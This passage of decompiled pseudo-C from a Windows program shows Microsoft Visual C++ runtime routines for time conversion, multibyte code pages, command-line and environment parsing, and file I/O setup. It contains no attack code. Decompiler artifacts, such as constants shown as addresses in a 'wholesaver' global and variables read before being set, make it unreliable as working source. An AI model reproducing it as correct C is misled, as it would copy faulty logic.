v18; // kr28_8@24 const __int64 caltim; // [sp+Ch] [bp-14h]@1 unsigned int caltim_4; // [sp+10h] [bp-10h]@9 signed int v22; // [sp+14h] [bp-Ch]@9 signed int islpyr; // [sp+18h] [bp-8h]@1 signed int tmptim; // [sp+1Ch] [bp-4h]@9 islpyr = 0; v1 = *((_DWORD *)timp + 1); v2 = *(_DWORD *)timp; caltim = *timp; v3 = _getptd(); v4 = v3; if ( v1 < 0 || v1 > 4096 || v1 >= 4096 && v2 ) return 0; if ( v3->_gmtimebuf || (v5 = malloc(0x24u), (v4->_gmtimebuf = v5) != 0) ) v6 = (tm *)v4->_gmtimebuf; else v6 = &tb_0; v7 = (signed __int64)__PAIR__(v1, v2) / (unsigned int)&wholesaver.ws_savestore[290].gapf2b8[8992]; v22 = v7 + 69; tmptim = v7 + 70; v8 = 86400; v10 = 86400 * (-365i64 * (signed int)v7 - (((signed int)v7 + 369) / 400 - ((signed int)v7 + 69) / 100 + ((signed int)v7 + 69) / 4 - 17)) + caltim; caltim_4 = (unsigned __int64)(86400 * (-365i64 * (signed int)v7 - (((signed int)v7 + 369) / 400 - ((signed int)v7 + 69) / 100 + ((signed int)v7 + 69) / 4 - 17)) + caltim) >> 32; v9 = v10; if ( (signed int)caltim_4 > 0 || (caltim_4 & 0x80000000u) == 0 ) { if ( (tmptim % 4 || !(tmptim % 100)) && ((signed int)v7 + 1970) % 400 ) goto LABEL_19; } else { tmptim = v7 + 69; v11 = __PAIR__(caltim_4, (WholeSaver *)((char *)&wholesaver + 23020576)) + (unsigned int)v10; caltim_4 = (__PAIR__(caltim_4, (WholeSaver *)((char *)&wholesaver + 23020576)) + (unsigned int)v10) >> 32; v9 = v11; if ( (v22 % 4 || !(v22 % 100)) && ((signed int)v7 + 1969) % 400 ) goto LABEL_19; v12 = __PAIR__(caltim_4, (unsigned int)v11) + 86400; caltim_4 = (__PAIR__(caltim_4, (unsigned int)v11) + 86400) >> 32; v9 = v12; } islpyr = 1; LABEL_19: v6->tm_year = tmptim; v6->tm_yday = (signed __int64)__PAIR__(caltim_4, v9) / 86400; v13 = -86400i64 * (signed int)((signed __int64)__PAIR__(caltim_4, v9) / 86400) + __PAIR__(caltim_4, v9); v14 = &_lpdays; if ( !islpyr ) v14 = (_UNKNOWN *)_days; v15 = v6->tm_yday; v16 = 1; if ( *((_DWORD *)v14 + 1) < v15 ) { do ++v16; while ( *((_DWORD *)v14 + v16) < v15 ); v8 = 86400; } v17 = v16 - 1; v6->tm_mon = v17; v6->tm_mday = v15 - *((_DWORD *)v14 + v17); v6->tm_wday = (signed int)((unsigned __int64)(*timp / (unsigned int)v8) + 4) % 7; v6->tm_hour = v13 / 3600; v18 = -3600i64 * (signed int)(v13 / 3600) + v13; v6->tm_min = v18 / 60; v6->tm_sec = v18 % 60; v6->tm_isdst = 0; return v6; } //----- (00582F92) -------------------------------------------------------- char *__cdecl __mbsspnp_mt(threadmbcinfostruct *ptmbci, const char *string, const char *charset) { int v3; // eax@2 int v4; // eax@2 const char *i; // ecx@2 const char *j; // eax@4 const char v7; // dl@5 if ( ptmbci->ismbcodepage ) { for ( i = string; *i; ++i ) { for ( j = charset; *j; ++j ) { v7 = *j; if ( ptmbci->mbctype[(unsigned __int8)*j + 1] & 4 ) { if ( v7 == *i && j[1] == i[1] || !j[1] ) break; ++j; } else { if ( v7 == *i ) break; } } if ( *j ) { if ( !(ptmbci->mbctype[(unsigned __int8)*i + 1] & 4) ) continue; ++i; if ( *i ) continue; } break; } v4 = -(*i != 0); } else { strspn((char *)string, (char *)charset); v4 = (int)&string[v3]; i = (const char *)-(*(_BYTE *)v4 != 0); } return (char *)((unsigned int)i & v4); } //----- (00583017) -------------------------------------------------------- int __usercall CPtoLCID(int codepage) { int v1; // eax@1 int v2; // eax@2 int v3; // eax@3 int result; // eax@5 v1 = codepage - 932; if ( v1 ) { v2 = v1 - 4; if ( v2 ) { v3 = v2 - 13; if ( v3 ) { if ( v3 == 1 ) result = 1028; else result = 0; } else { result = 1042; } } else { result = 2052; } } else { result = 1041; } return result; } //----- (00583046) -------------------------------------------------------- int __cdecl setSBCS() { int result; // eax@1 memset(_mbctype, 0, 0x100u); _mbctype[256] = 0; result = 0; __mbcodepage = 0; __ismbcodepage = 0; __mblcid = 0; *(_DWORD *)__mbulinfo = 0; *(_DWORD *)&__mbulinfo[2] = 0; *(_DWORD *)&__mbulinfo[4] = 0; return result; } // 146D06C8: using guessed type int __ismbcodepage; // 146D07F0: using guessed type __int16 __mbulinfo[]; //----- (0058306F) -------------------------------------------------------- unsigned int __cdecl setSBUpLow() { unsigned int v0; // eax@2 int v1; // eax@4 int v2; // edx@5 unsigned int v3; // ecx@6 unsigned int v4; // ecx@7 char v5; // bl@7 char *v6; // edi@7 int i; // ecx@7 int v8; // edx@10 unsigned int result; // eax@11 __int16 v10; // cx@12 unsigned __int8 v11; // cl@13 unsigned __int8 v12; // cl@23 __int16 wVector[256]; // [sp+4h] [bp-518h]@11 char upVector[256]; // [sp+204h] [bp-318h]@11 char lowVector[256]; // [sp+304h] [bp-218h]@11 char sbVector[256]; // [sp+404h] [bp-118h]@3 _cpinfo cpinfo; // [sp+504h] [bp-18h]@1 if ( GetCPInfo(__mbcodepage, &cpinfo) == 1 ) { v0 = 0; do { sbVector[v0] = v0; ++v0; } while ( v0 < 0x100 ); LOBYTE(v1) = cpinfo.LeadByte[0]; sbVector[0] = 32; if ( cpinfo.LeadByte[0] ) { v2 = (int)&cpinfo.LeadByte[1]; do { v3 = *(_BYTE *)v2; v1 = (unsigned __int8)v1; if ( (unsigned __int8)v1 <= v3 ) { v4 = v3 - v1 + 1; v5 = v4; v4 >>= 2; memset(&sbVector[v1], 538976288, 4 * v4); v6 = &sbVector[4 * v4] + v1; for ( i = v5 & 3; i; --i ) *v6++ = 32; } v8 = v2 + 1; LOBYTE(v1) = *(_BYTE *)v8; v2 = v8 + 1; } while ( (_BYTE)v1 ); } __crtGetStringTypeA(1u, sbVector, 256, (unsigned __int16 *)wVector, __mbcodepage, __mblcid, 0); __crtLCMapStringA(__mblcid, 0x100u, sbVector, 256, lowVector, 256, __mbcodepage, 0); __crtLCMapStringA(__mblcid, 0x200u, sbVector, 256, upVector, 256, __mbcodepage, 0); result = 0; while ( 1 ) { v10 = wVector[result]; if ( v10 & 1 ) { byte_146D06E1[result] |= 0x10u; v11 = lowVector[result]; } else { if ( !(v10 & 2) ) { _mbcasemap[result] = 0; goto LABEL_18; } byte_146D06E1[result] |= 0x20u; v11 = upVector[result]; } _mbcasemap[result] = v11; LABEL_18: ++result; if ( result >= 0x100 ) return result; } } result = 0; do { if ( result >= 0x41 && result <= 0x5A ) { byte_146D06E1[result] |= 0x10u; v12 = result + 32; LABEL_24: _mbcasemap[result] = v12; goto LABEL_29; } if ( result >= 0x61 && result <= 0x7A ) { byte_146D06E1[result] |= 0x20u; v12 = result - 32; goto LABEL_24; } _mbcasemap[result] = 0; LABEL_29: ++result; } while ( result < 0x100 ); return result; } //----- (005831FB) -------------------------------------------------------- threadmbcinfostruct *__cdecl __updatetmbcinfo() { _tiddata *v0; // edi@1 void *v1; // esi@1 bool v2; // zf@3 threadmbcinfostruct *result; // eax@6 _lock(13); v0 = _getptd(); v1 = v0->ptmbcinfo; if ( v1 != ___ptmbcinfo ) { if ( v1 ) { v2 = (*(_DWORD *)v1)-- == 1; if ( v2 ) free(v1); } v0->ptmbcinfo = (threadmbcinfostruct *)___ptmbcinfo; ++*(_DWORD *)___ptmbcinfo; } _unlock(13); return result; } //----- (0058326A) -------------------------------------------------------- int __cdecl setmbcp_lk(int codepage) { int v1; // edx@2 unsigned int v2; // eax@2 bool v3; // cf@6 bool v4; // zf@6 char *v5; // ecx@8 unsigned int v6; // edx@9 unsigned int v7; // eax@10 char *v8; // ebx@11 unsigned int v9; // eax@12 char *i; // esi@12 char v11; // dl@13 unsigned int v12; // edi@14 char v13; // dl@15 int v14; // eax@20 int v15; // ecx@20 char *v16; // ecx@20 signed int v17; // eax@24 int v18; // ecx@26 int result; // eax@31 unsigned int irg; // [sp+Ch] [bp-1Ch]@11 _cpinfo cpinfo; // [sp+10h] [bp-18h]@5 if ( codepage ) { v1 = 0; v2 = 0; do { if ( _rgcode_page_info[v2].code_page == codepage ) { memset(_mbctype, 0, 0x100u); irg = 0; _mbctype[256] = 0; v8 = &aJ[48 * v1]; do { LOBYTE(v9) = *v8; for ( i = v8; (_BYTE)v9; LOBYTE(v9) = *i ) { v11 = i[1]; if ( !v11 ) break; v9 = (unsigned __int8)v9; v12 = (unsigned __int8)v11; if ( (unsigned __int8)v9 <= (unsigned int)(unsigned __int8)v11 ) { v13 = _rgctypeflag[irg]; do { byte_146D06E1[v9] |= v13; ++v9; } while ( v9 <= v12 ); } i += 2; } ++irg; v8 += 8; } while ( irg < 4 ); __mbcodepage = codepage; __ismbcodepage = 1; v14 = CPtoLCID(codepage); v16 = &aVyv[v15]; *(_DWORD *)__mbulinfo = *(_DWORD *)v16; *(_DWORD *)&__mbulinfo[2] = *((_DWORD *)v16 + 1); __mblcid = v14; *(_DWORD *)&__mbulinfo[4] = *((_DWORD *)v16 + 2); goto LABEL_31; } ++v2; ++v1; } while ( v2 < 5 ); if ( GetCPInfo(codepage, &cpinfo) == 1 ) { v3 = cpinfo.MaxCharSize < 1; v4 = cpinfo.MaxCharSize == 1; memset(_mbctype, 0, 0x100u); _mbctype[256] = 0; __mbcodepage = codepage; __mblcid = 0; if ( v3 | v4 ) { __ismbcodepage = 0; } else { if ( cpinfo.LeadByte[0] ) { v5 = &cpinfo.LeadByte[1]; do { LOBYTE(v6) = *v5; if ( !*v5 ) break; v7 = (unsigned __int8)*(v5 - 1); v6 = (unsigned __int8)v6; while ( v7 <= v6 ) { byte_146D06E1[v7] |= 4u; ++v7; } v5 += 2; } while ( *(v5 - 1) ); } v17 = 1; do { byte_146D06E1[v17] |= 8u; ++v17; } while ( (unsigned int)v17 < 0xFF ); __mblcid = CPtoLCID(codepage); __ismbcodepage = v18; } *(_DWORD *)__mbulinfo = 0; *(_DWORD *)&__mbulinfo[2] = 0; *(_DWORD *)&__mbulinfo[4] = 0; goto LABEL_31; } if ( fSystemSet ) goto LABEL_30; result = -1; } else { LABEL_30: setSBCS(); LABEL_31: setSBUpLow(); result = 0; } return result; } // 146D06C8: using guessed type int __ismbcodepage; // 146D07F0: using guessed type __int16 __mbulinfo[]; //----- (005833FA) -------------------------------------------------------- int __cdecl _setmbcp(int codepage) { UINT v1; // eax@1 void *v2; // esi@8 signed int i; // eax@13 signed int j; // eax@16 signed int k; // eax@19 int result; // eax@26 int retcode; // [sp+10h] [bp-20h]@1 int codepagea; // [sp+38h] [bp+8h]@7 retcode = -1; _lock(13); fSystemSet = 0; v1 = codepage; switch ( codepage ) { case -2: fSystemSet = 1; v1 = GetOEMCP(); break; case -3: fSystemSet = 1; v1 = GetACP(); break; case -4: fSystemSet = 1; v1 = __lc_codepage; break; } codepagea = v1; if ( v1 != __mbcodepage ) { v2 = ___ptmbcinfo; if ( !___ptmbcinfo || *(_DWORD *)___ptmbcinfo ) v2 = malloc(0x220u); if ( v2 ) { retcode = setmbcp_lk(codepagea); if ( !retcode ) { *(_DWORD *)v2 = 0; *((_DWORD *)v2 + 1) = __mbcodepage; *((_DWORD *)v2 + 2) = __ismbcodepage; *((_DWORD *)v2 + 3) = __mblcid; for ( i = 0; i < 5; ++i ) *((_WORD *)v2 + i + 8) = __mbulinfo[i]; for ( j = 0; j < 257; ++j ) *((_BYTE *)v2 + j + 28) = _mbctype[j]; for ( k = 0; k < 256; ++k ) *((_BYTE *)v2 + k + 285) = _mbcasemap[k]; ___ptmbcinfo = v2; } } if ( retcode == -1 && v2 != ___ptmbcinfo ) free(v2); } _unlock(13); return result; } // 146D06C8: using guessed type int __ismbcodepage; // 146D07F0: using guessed type __int16 __mbulinfo[]; //----- (0058354A) -------------------------------------------------------- int __cdecl __initmbctable() { if ( !__mbctype_initialized ) _setmbcp(-3); return 0; } // 146D1964: using guessed type int __mbctype_initialized; //----- (00583568) -------------------------------------------------------- unsigned int __cdecl _mbctoupper(unsigned int c) { threadmbcinfostruct *v1; // eax@1 unsigned int v3; // eax@7 char ret[4]; // [sp+0h] [bp-8h]@5 char val[2]; // [sp+4h] [bp-4h]@4 v1 = _getptd()->ptmbcinfo; if ( v1 != ___ptmbcinfo ) v1 = __updatetmbcinfo(); if ( c <= 0xFF ) { v3 = (unsigned int)((char *)v1 + c); if ( *(_BYTE *)(v3 + 29) & 0x20 ) return *(_BYTE *)(v3 + 285); } else { val[0] = BYTE1(c); val[1] = c; if ( v1->mbctype[BYTE1(c) + 1] & 4 && __crtLCMapStringA(v1->mblcid, 0x200u, val, 2, ret, 2, v1->mbcodepage, 1) ) return (unsigned __int8)ret[1] + ((unsigned __int8)ret[0] << 8); } return c; } //----- (005835ED) -------------------------------------------------------- int __cdecl _resetstkoflw() { void *v0; // esp@1 void *v1; // ebx@2 int v2; // eax@2 unsigned int v3; // edi@2 unsigned int v4; // esi@2 int v6; // [sp-4h] [bp-5Ch]@1 struct _SYSTEM_INFO SystemInfo; // [sp+Ch] [bp-4Ch]@2 _MEMORY_BASIC_INFORMATION mbi; // [sp+30h] [bp-28h]@1 int flOldProtect; // [sp+4Ch] [bp-Ch]@15 unsigned int PageSize; // [sp+50h] [bp-8h]@2 char *pGuard; // [sp+54h] [bp-4h]@4 v0 = alloca(4); if ( !VirtualQuery(&v6, &mbi, 0x1Cu) || (v1 = mbi.AllocationBase, GetSystemInfo(&SystemInfo), v2 = _osplatform, v3 = ((unsigned int)&v6 & ~(SystemInfo.dwPageSize - 1)) - SystemInfo.dwPageSize, v4 = (unsigned int)((char *)v1 + SystemInfo.dwPageSize * (_osplatform != 1 ? 2 : 17)), PageSize = SystemInfo.dwPageSize, v3 < v4) ) return 0; if ( _osplatform != 1 ) { pGuard = (char *)v1; while ( VirtualQuery(pGuard, &mbi, 0x1Cu) ) { pGuard += mbi.RegionSize; if ( mbi.State & 0x1000 ) { pGuard = (char *)mbi.BaseAddress; if ( BYTE1(mbi.Protect) & 1 ) return 1; if ( v3 >= (unsigned int)mbi.BaseAddress ) { if ( (unsigned int)mbi.BaseAddress < v4 ) pGuard = (char *)v4; VirtualAlloc(pGuard, PageSize, 0x1000u, 4u); v2 = _osplatform; return VirtualProtect(pGuard, PageSize, v2 != 1 ? 260 : 1, (PDWORD)&flOldProtect); } return 0; } } return 0; } pGuard = (char *)(((unsigned int)&v6 & ~(SystemInfo.dwPageSize - 1)) - SystemInfo.dwPageSize); return VirtualProtect(pGuard, PageSize, v2 != 1 ? 260 : 1, (PDWORD)&flOldProtect); } // 146D00AC: using guessed type int _osplatform; //----- (005836D0) -------------------------------------------------------- void __cdecl _NMSG_WRITE(int rterrnum) { unsigned int v1; // eax@1 int v2; // esi@4 char *v3; // edi@11 size_t v4; // ebx@13 void *v5; // esp@13 const char **v6; // esi@14 DWORD v7; // ST20_4@14 const void *v8; // ST1C_4@14 HANDLE v9; // eax@14 int v10; // [sp+0h] [bp-8Ch]@13 char progname[261]; // [sp+Ch] [bp-80h]@9 v1 = 0; do { if ( rterrnum == rterrs[v1].rterrno ) break; ++v1; } while ( v1 < 0x13 ); v2 = 8 * v1; if ( rterrnum == rterrs[v1].rterrno ) { if ( __error_mode != 1 && (__error_mode || __app_type != 1) ) { if ( rterrnum != 252 ) { progname[260] = 0; if ( !GetModuleFileNameA(0, progname, 0x104u) ) strcpy(progname, ""); v3 = progname; if ( strlen(progname) + 1 > 0x3C ) { v3 = &progname[strlen(progname) - 59]; strncpy(v3, "...", 3u); } v4 = strlen(v3); v5 = alloca(v4 + strlen(*(const char **)&off_61179C[v2]) + 28); strcpy((char *)&v10, "Runtime Error!\n\nProgram: "); strcat((char *)&v10, v3); strcat((char *)&v10, "\n\n"); strcat((char *)&v10, *(const char **)&off_61179C[v2]); __crtMessageBoxA((const char *)&v10, "Microsoft Visual C++ Runtime Library", 0x12010u); } } else { v6 = (const char **)&off_61179C[v2]; v7 = strlen(*v6); v8 = *v6; v9 = GetStdHandle(0xFFFFFFF4u); WriteFile(v9, v8, v7, (LPDWORD)&rterrnum, 0); } } } // 146D00FC: using guessed type int __error_mode; //----- (00583847) -------------------------------------------------------- void __cdecl _FF_MSGBANNER() { if ( __error_mode == 1 || !__error_mode && __app_type == 1 ) { _NMSG_WRITE(252); if ( _adbgmsg ) _adbgmsg(); _NMSG_WRITE(255); } } // 146D00FC: using guessed type int __error_mode; // 146D03E0: using guessed type int (*_adbgmsg)(void); //----- (00583880) -------------------------------------------------------- int __cdecl _XcptFilter(unsigned int xcptnum, _EXCEPTION_POINTERS *pxcptinfoptrs) { _tiddata *v2; // esi@1 void *v3; // edx@1 unsigned int v4; // ecx@1 void (__cdecl *v5)(_DWORD); // ebx@8 int result; // eax@10 int v7; // eax@12 int v8; // edx@13 int v9; // eax@14 int v10; // ecx@17 int v11; // edi@17 void *oldpxcptinfoptrs; // [sp+Ch] [bp-4h]@12 void (__cdecl *xcptnuma)(_DWORD); // [sp+18h] [bp+8h]@8 v2 = _getptd(); v3 = v2->_pxcptacttab; v4 = (unsigned int)v2->_pxcptacttab; do { if ( *(_DWORD *)v4 == xcptnum ) break; v4 += 12; } while ( v4 < (unsigned int)((char *)v3 + 12 * _XcptActTabCount) ); if ( v4 >= (unsigned int)((char *)v3 + 12 * _XcptActTabCount) || *(_DWORD *)v4 != xcptnum ) v4 = 0; if ( v4 && (v5 = *(void (__cdecl **)(_DWORD))(v4 + 8), xcptnuma = *(void (__cdecl **)(_DWORD))(v4 + 8), v5) ) { if ( v5 == (void (__cdecl *)(_DWORD))5 ) { *(_DWORD *)(v4 + 8) = 0; result = 1; } else { if ( v5 != (void (__cdecl *)(_DWORD))1 ) { oldpxcptinfoptrs = v2->_tpxcptinfoptrs; v2->_tpxcptinfoptrs = pxcptinfoptrs; v7 = *(_DWORD *)(v4 + 4); if ( v7 == 8 ) { v8 = _First_FPE_Indx; if ( _First_FPE_Indx < _First_FPE_Indx + _Num_FPE ) { v9 = 12 * _First_FPE_Indx; do { *(_DWORD *)((char *)v2->_pxcptacttab + v9 + 8) = 0; ++v8; v9 += 12; } while ( v8 < _First_FPE_Indx + _Num_FPE ); v5 = xcptnuma; } v10 = *(_DWORD *)v4; v11 = v2->_tfpecode; switch ( v10 ) { case -1073741682: v2->_tfpecode = 131; break; case -1073741680: v2->_tfpecode = 129; break; case -1073741679: v2->_tfpecode = 132; break; case -1073741677: v2->_tfpecode = 133; break; case -1073741683: v2->_tfpecode = 130; break; case -1073741681: v2->_tfpecode = 134; break; case -1073741678: v2->_tfpecode = 138; break; } v5(8); v2->_tfpecode = v11; } else { *(_DWORD *)(v4 + 8) = 0; v5(v7); } v2->_tpxcptinfoptrs = oldpxcptinfoptrs; } result = -1; } } else { result = UnhandledExceptionFilter(pxcptinfoptrs); } return result; } //----- (005839E4) -------------------------------------------------------- char *__cdecl _wincmdln() { int v0; // edi@1 char *v1; // esi@3 char v2; // al@5 v0 = 0; if ( !__mbctype_initialized ) __initmbctable(); v1 = _acmdln; if ( !_acmdln ) v1 = byte_5A62A6; while ( 1 ) { v2 = *v1; if ( (unsigned __int8)*v1 <= 0x20u ) { if ( !v2 ) return v1; if ( !v0 ) break; } if ( v2 == 34 ) v0 = v0 == 0; if ( _ismbblead((unsigned __int8)v2) ) ++v1; ++v1; } while ( *v1 && (unsigned __int8)*v1 <= 0x20u ) ++v1; return v1; } // 146D1964: using guessed type int __mbctype_initialized; //----- (00583A41) -------------------------------------------------------- int __cdecl _setenvp() { char *v0; // esi@3 int v1; // edi@3 void *v2; // edi@9 char *i; // esi@11 size_t v5; // eax@12 int v6; // ebp@12 void *v7; // eax@13 if ( !__mbctype_initialized ) __initmbctable(); v0 = _aenvptr; v1 = 0; if ( !_aenvptr ) return -1; while ( *v0 ) { if ( *v0 != 61 ) ++v1; v0 += strlen(v0) + 1; } v2 = malloc(4 * v1 + 4); _environ = (char **)v2; if ( !v2 ) return -1; for ( i = _aenvptr; ; i += v6 ) { if ( !*i ) { free(_aenvptr); _aenvptr = 0; *(_DWORD *)v2 = 0; __env_initialized = 1; return 0; } v5 = strlen(i); v6 = v5 + 1; if ( *i != 61 ) break; LABEL_15: ; } v7 = malloc(v5 + 1); *(_DWORD *)v2 = v7; if ( v7 ) { strcpy((char *)v7, i); v2 = (char *)v2 + 4; goto LABEL_15; } free(_environ); _environ = 0; return -1; } // 146D1958: using guessed type int __env_initialized; // 146D1964: using guessed type int __mbctype_initialized; //----- (00583B08) -------------------------------------------------------- void __usercall parse_cmdline(char *cmdstart, char *args, int *numchars, char **argv, int *numargs) { int *v5; // ebx@1 int v6; // edx@1 char *v7; // edi@1 char **v8; // ecx@2 char v9; // cl@4 int v10; // ebx@7 char **v11; // ecx@25 signed int v12; // ebx@27 unsigned int v13; // edx@27 char v14; // cl@42 int inquote; // [sp+8h] [bp-4h]@17 v5 = numargs; v6 = 0; *numchars = 0; v7 = args; *numargs = 1; if ( argv ) { v8 = argv; ++argv; *v8 = v7; } do { if ( *cmdstart == 34 ) { ++cmdstart; v6 = v6 == 0; v9 = 34; } else { ++*numchars; if ( v7 ) *v7++ = *cmdstart; v9 = *cmdstart; v10 = (unsigned __int8)*cmdstart++; if ( byte_146D06E1[v10] & 4 ) { ++*numchars; if ( v7 ) *v7++ = *cmdstart; ++cmdstart; } v5 = numargs; if ( !v9 ) { --cmdstart; goto LABEL_17; } } } while ( v6 || v9 != 32 && v9 != 9 ); if ( v7 ) *(v7 - 1) = 0; LABEL_17: inquote = 0; while ( *cmdstart ) { while ( *cmdstart == 32 || *cmdstart == 9 ) ++cmdstart; if ( !*cmdstart ) break; if ( argv ) { v11 = argv; ++argv; *v11 = v7; } ++*v5; while ( 1 ) { v12 = 1; v13 = 0; while ( *cmdstart == 92 ) { ++cmdstart; ++v13; } if ( *cmdstart == 34 ) { if ( !(v13 & 1) ) { if ( inquote && cmdstart[1] == 34 ) ++cmdstart; else v12 = 0; inquote = inquote == 0; } v13 >>= 1; } for ( ; v13; --v13 ) { if ( v7 ) *v7++ = 92; ++*numchars; } v14 = *cmdstart; if ( !*cmdstart ) break; if ( !inquote && (v14 == 32 || v14 == 9) ) break; if ( v12 ) { if ( v7 ) { if ( byte_146D06E1[(unsigned __int8)v14] & 4 ) { *v7++ = v14; ++cmdstart; ++*numchars; } *v7++ = *cmdstart; } else { if ( byte_146D06E1[(unsigned __int8)v14] & 4 ) { ++cmdstart; ++*numchars; } } ++*numchars; } ++cmdstart; } if ( v7 ) *v7++ = 0; ++*numchars; v5 = numargs; } if ( argv ) *argv = 0; ++*v5; } //----- (00583C74) -------------------------------------------------------- int __cdecl _setargv() { char *v0; // ebx@4 int v1; // esi@6 void *v2; // eax@6 char **v3; // edi@6 int result; // eax@7 int numchars; // [sp+Ch] [bp-8h]@6 int numargs; // [sp+10h] [bp-4h]@6 if ( !__mbctype_initialized ) __initmbctable(); pgmname[260] = 0; GetModuleFileNameA(0, pgmname, 0x104u); _pgmptr = pgmname; if ( !_acmdln || (v0 = _acmdln, !*_acmdln) ) v0 = pgmname; parse_cmdline(v0, 0, 0, &numargs, &numchars); v1 = 4 * numargs; v2 = malloc(4 * numargs + numchars); v3 = (char **)v2; if ( v2 ) { parse_cmdline(v0, (char **)v2, (char *)v2 + v1, &numargs, &numchars); __argc = numargs - 1; __argv = v3; result = 0; } else { result = -1; } return result; } // 146D1964: using guessed type int __mbctype_initialized; //----- (00583D16) -------------------------------------------------------- void *__cdecl __crtGetEnvironmentStringsA() { int v0; // eax@1 void *v1; // ebx@1 const unsigned __int16 *v2; // esi@1 const unsigned __int16 *i; // eax@10 int v4; // eax@13 int v5; // ebp@13 void *v6; // eax@14 LPCH v8; // eax@22 char *v9; // esi@22 unsigned int v10; // ebp@26 void *v11; // eax@26 void *v12; // edi@26 void *aEnv; // [sp+10h] [bp-8h]@14 int nSizeW; // [sp+14h] [bp-4h]@13 v0 = f_use_0; v1 = 0; v2 = 0; if ( !f_use_0 ) { v2 = GetEnvironmentStringsW(); if ( v2 ) { f_use_0 = 1; LABEL_8: if ( v2 || (v2 = GetEnvironmentStringsW()) != 0 ) { for ( i = v2; *i; ++i ) { do ++i; while ( *i ); } nSizeW = i - v2 + 1; v4 = WideCharToMultiByte(0, 0, v2, nSizeW, 0, 0, 0, 0); v5 = v4; if ( v4 ) { v6 = malloc(v4); aEnv = v6; if ( v6 ) { if ( !WideCharToMultiByte(0, 0, v2, nSizeW, (LPSTR)v6, v5, 0, 0) ) { free(aEnv); aEnv = 0; } v1 = aEnv; } } FreeEnvironmentStringsW((LPWCH)v2); return v1; } return 0; } if ( GetLastError() == 120 ) { v0 = 2; f_use_0 = 2; } else { v0 = f_use_0; } } if ( v0 == 1 ) goto LABEL_8; if ( v0 != 2 && v0 || (v8 = GetEnvironmentStrings(), (v9 = v8) == 0) ) return 0; for ( ; *v8; ++v8 ) { do ++v8; while ( *v8 ); } v10 = v8 - v9 + 1; v11 = malloc(v10); v12 = v11; if ( v11 ) memcpy((char *)v11, v9, v10); else v12 = 0; FreeEnvironmentStringsA(v9); return v12; } //----- (00583E38) -------------------------------------------------------- int __cdecl _ioinit() { void *v0; // eax@1 int i; // ecx@3 signed int v3; // edi@8 char *v4; // ebp@8 _UNKNOWN *v5; // esi@11 void *v6; // eax@12 int j; // ecx@13 signed int k; // ebx@19 int v9; // esi@24 signed int v10; // ebx@27 int v11; // esi@28 DWORD v12; // eax@30 HANDLE v13; // eax@33 HANDLE v14; // edi@33 DWORD v15; // eax@34 int v16; // eax@35 HANDLE *posfhnd; // [sp+4h] [bp-48h]@8 _STARTUPINFOA StartupInfo; // [sp+8h] [bp-44h]@6 v0 = malloc(0x480u); if ( !v0 ) return -1; __pioinfo[0] = (int)v0; _nhandle = 32; for ( i = (int)((char *)v0 + 1152); (unsigned int)v0 < i; i = __pioinfo[0] + 1152 ) { *(_DWORD *)v0 = -1; *((_DWORD *)v0 + 2) = 0; *((_BYTE *)v0 + 4) = 0; *((_BYTE *)v0 + 5) = 10; v0 = (char *)v0 + 36; } GetStartupInfoA(&StartupInfo); if ( StartupInfo.cbReserved2 && StartupInfo.lpReserved2 ) { v3 = *(_DWORD *)StartupInfo.lpReserved2; v4 = StartupInfo.lpReserved2 + 4; posfhnd = (HANDLE *)&StartupInfo.lpReserved2[*(_DWORD *)StartupInfo.lpReserved2 + 4]; if ( *(_DWORD *)StartupInfo.lpReserved2 >= 2048 ) v3 = 2048; if ( (signed int)_nhandle < v3 ) { v5 = &unk_146D05C4; while ( 1 ) { v6 = malloc(0x480u); if ( !v6 ) break; _nhandle += 32; *(_DWORD *)v5 = v6; for ( j = (int)((char *)v6 + 1152); (unsigned int)v6 < j; j = *(_DWORD *)v5 + 1152 ) { *(_DWORD *)v6 = -1; *((_DWORD *)v6 + 2) = 0; *((_BYTE *)v6 + 4) = 0; *((_BYTE *)v6 + 5) = 10; v6 = (char *)v6 + 36; } v5 = (char *)v5 + 4; if ( (signed int)_nhandle >= v3 ) goto LABEL_19; } v3 = _nhandle; } LABEL_19: for ( k = 0; k < v3; ++v4 ) { if ( *posfhnd != (HANDLE)-1 && *v4 & 1 && (*v4 & 8 || GetFileType(*posfhnd)) ) { v9 = __pioinfo[k >> 5] + 36 * (k & 0x1F); *(_DWORD *)v9 = *posfhnd; *(_BYTE *)(v9 + 4) = *v4; if ( !__crtInitCritSecAndSpinCount((_RTL_CRITICAL_SECTION *)(v9 + 12), 0xFA0u) ) return -1; ++*(_DWORD *)(v9 + 8); } ++posfhnd; ++k; } } v10 = 0; do { v11 = __pioinfo[0] + 36 * v10; if ( *(_DWORD *)v11 == -1 ) { *(_BYTE *)(v11 + 4) = -127; if ( v10 ) v12 = -(v10 != 1) - 11; else v12 = -10; v13 = GetStdHandle(v12); v14 = v13; if ( v13 != (HANDLE)-1 && (v15 = GetFileType(v13)) != 0 ) { v16 = (unsigned __int8)v15; *(_DWORD *)v11 = v14; if ( v16 == 2 ) { *(_BYTE *)(v11 + 4) |= 0x40u; } else { if ( v16 == 3 ) *(_BYTE *)(v11 + 4) |= 8u; } if ( !__crtInitCritSecAndSpinCount((_RTL_CRITICAL_SECTION *)(v11 + 12), 0xFA0u) ) return -1; ++*(_DWORD *)(v11 + 8); } else { *(_BYTE *)(v11 + 4) |= 0x40u; } } else { *(_BYTE *)(v11 + 4) |= 0x80u; } ++v10; } while ( v10 < 3 ); SetHandleCount(_nhandle); return 0; } // 146D05C0: using guessed type int __pioinfo[]; //----- (00584036) -------------------------------------------------------- void __cdecl _getbuf(_iobuf *str) { void *v1; // eax@1 char *v2; // eax@4 ++_cflush; v1 = malloc(0x1000u); str->_base = (char *)v1; if ( v1 ) { str->_flag |= 8u; str->_bufsiz = 4096; } else { str->_flag |= 4u; str->_base = (char *)&str->_charbuf; str->_bufsiz = 2; } v2 = str->_base; str->_cnt = 0; str->_ptr = v2; } // 146D0278: using guessed type int _cflush; //----- (0058407A) -------------------------------------------------------- __int64 __cdecl _ftelli64_lk(_iobuf *str) { _iobuf *v1; // edi@1 signed int v2; // esi@1 __int64 v3; // qax@3 int v4; // ebx@3 __int64 result; // qax@6 char *v6; // eax@7 char *v7; // edx@7 int v8; // ecx@7 char *v9; // ecx@9 int v10; // ecx@20 int v11; // ebx@22 int v12; // esi@22 char *v13; // eax@24 int v14; // ecx@24 bool v15; // zf@29 signed int v16; // eax@30 int v17; // ecx@31 __int64 filepos; // [sp+Ch] [bp-10h]@3 int fd; // [sp+14h] [bp-8h]@1 char *offset; // [sp+18h] [bp-4h]@7 int rdcnt; // [sp+24h] [bp+8h]@22 v1 = str; v2 = str->_file; 